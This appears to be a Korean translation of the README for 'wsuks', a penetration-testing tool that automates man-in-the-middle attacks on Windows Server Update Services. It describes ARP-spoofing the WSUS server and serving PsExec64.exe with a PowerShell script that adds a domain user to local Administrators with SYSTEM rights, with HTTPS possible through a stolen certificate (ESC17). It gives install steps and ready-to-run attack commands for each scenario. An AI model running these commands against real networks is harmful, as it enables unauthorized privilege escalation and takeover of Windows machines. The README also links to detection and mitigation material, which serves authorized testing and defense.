
MITM 공격을 WSUS에 자동화하기
WSUS 공격 자동화
도메인에 가입된 Windows 머신에 대한 로컬 관리자 액세스를 획득하는 것은 일반적으로 침투 테스트의 첫 단계입니다. 많은 경우 Windows Server Update Service(WSUS)가 HTTP를 통해 로컬 네트워크의 클라이언트에 업데이트를 배포하도록 구성되어 있습니다. HTTPS의 보안이 없다면 공격자는 중간자 공격을 수행하여 클라이언트에 업데이트를 제공할 수 있으며, 이 업데이트는 SYSTEM 권한으로 실행됩니다. Microsoft 서명된 실행 파일은 업데이트로 제공될 수 있으며, 실행 파일이 실행되는 사용자 지정 명령도 포함됩니다. 공격자가 WSUS 서버에 대한 TLS 인증서를 획득할 수 있다면 이 기술은 HTTPS를 통해서도 수행될 수 있습니다 (ESC17 및 블로그 게시물 참조).
WSUS 공격을 자동으로 악용하기 위해 이 도구는 ARP를 사용하여 네트워크에서 WSUS 서버의 IP 주소를 스푸핑하고, 대상 클라이언트가 Windows 업데이트를 요청하면 로컬 관리자 권한을 획득하기 위한 사전 정의된 PowerShell 스크립트와 함께 PsExec64.exe를 제공합니다. 제공되는 실행 파일(기본값: PsExec64.exe)과 실행되는 명령은 필요에 따라 변경할 수 있습니다.
기본적으로 Windows 클라이언트는 약 24시간마다 업데이트를 확인합니다.
전제 조건:
결과:
구현된 기능:
pipx 사용 (권장):
sudo apt install pipx python3-nftables
pipx ensurepath
pipx install wsuks --system-site-packages
sudo ln -s ~/.local/bin/wsuks /usr/sbin/wsuks
poetry 사용:
sudo apt install pipx git python3-nftables # poetry should still be installed with pipx, but apt will work as well
sudo pipx install poetry
sudo ln -s /root/.local/bin/poetry /usr/sbin/poetry
git clone https://github.com/NeffIsBack/wsuks
cd wsuks
sudo poetry install
❗wsuks는 root로 실행해야 합니다❗
pipx를 사용하면 시스템 어디에서나 sudo wsuks ...를 실행하면 됩니다.
poetry를 사용하는 경우 wsuks 폴더에 있어야 하며 각 명령을 sudo poetry run wsuks ...로 시작해야 합니다.
이 도구는 nftables 패키지가 설치되어 있어야 하며, 이 패키지는 모든 데비안 기반 시스템에서 기본으로 제공됩니다.\
wsuks를 실행할 수 있는 3가지 모드/공격 시나리오가 있습니다:
이미 도메인 사용자가 있다면 wsuks는 도메인 컨트롤러에서 GPO를 파싱하여 WSUS 서버를 찾습니다.
제공된 도메인 사용자를 로컬 관리자 그룹에 추가하는 PowerShell 스크립트가 실행됩니다.
sudo wsuks -t 10.0.0.10 -u User -p Password -d domain.local --dc-ip 10.0.0.1
팁: WSUS 서버만 확인하려면 --only-discover 플래그를 사용하면 됩니다.
사전 정의된 PowerShell 스크립트는 다음 작업을 수행합니다:
⚠ LocalAccountTokenFilterPolicy를 1로 설정하기 전에 원래 값은 사용자 설명 필드에 저장되어 나중에 복원할 수 있습니다
sudo wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20
이미 도메인 사용자가 있고 WSUS 서버의 IP를 알고 있다면, wsuks는 해당 사용자를 로컬 Administrators 그룹에 간단히 추가합니다.
sudo wsuks -t 10.0.0.10 --WSUS-Server 10.0.0.20 -u User -d domain.local
트래픽이 이미 공격자의 머신으로 리디렉션되고 있는 경우(예: DNS 제어), wsuks는 ARP 스푸핑과 라우팅을 직접 수행하지 않고 악성 실행 파일과 명령만 제공하는 데 사용할 수 있습니다. 이 경우 제공된 인터페이스에서 HTTP 서버를 간단히 실행합니다.
sudo wsuks --serve-only
공격자가 WSUS 서버에 대한 TLS 인증서(예: ESC17을 통해)를 획득할 수 있는 경우, HTTPS를 통해서도 공격을 수행할 수 있습니다.
위의 모든 시나리오에 적용되며, 인증서 경로와 함께 --tls-cert 플래그만 추가하면 됩니다.
sudo wsuks -t 10.0.0.10 --WSUS-Server secure.wsus.domain.local --tls-cert cert.pem
다음은 알려진 WSUS 서버를 대상으로 한 공격의 짧은 데모입니다:

GoSecure의 PyWSUS 저장소에서 이 공격을 탐지하고 완화하는 방법에 대한 훌륭한 문서를 찾을 수 있습니다. 또한 이 공격이 어떻게 작동하는지 자세히 보여주는 훌륭한 가이드를 여기에 작성했습니다.
ESC17과 관련해서는 완화 권장 사항을 certipy wiki에서 확인하세요.
이 도구의 일부는 다음 프로젝트를 기반으로 합니다: